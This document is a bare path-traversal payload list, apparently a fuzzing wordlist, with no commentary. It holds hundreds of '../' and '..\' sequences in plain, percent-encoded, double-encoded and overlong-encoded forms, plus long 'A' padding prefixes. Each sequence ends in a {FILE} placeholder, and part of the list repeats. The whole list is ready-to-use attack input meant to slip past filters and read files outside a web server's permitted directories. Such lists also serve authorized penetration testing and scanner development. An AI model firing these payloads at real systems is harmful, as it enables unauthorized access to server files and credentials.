%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> ..%%35%63{FILE}<br /> ..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> \../{FILE}<br /> \../\../{FILE}<br /> \../\../\../{FILE}<br /> \../\../\../\../{FILE}<br /> \../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../\../{FILE}<br /> /..\{FILE}<br /> /..\/..\{FILE}<br /> /..\/..\/..\{FILE}<br /> /..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\/..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}<br /> 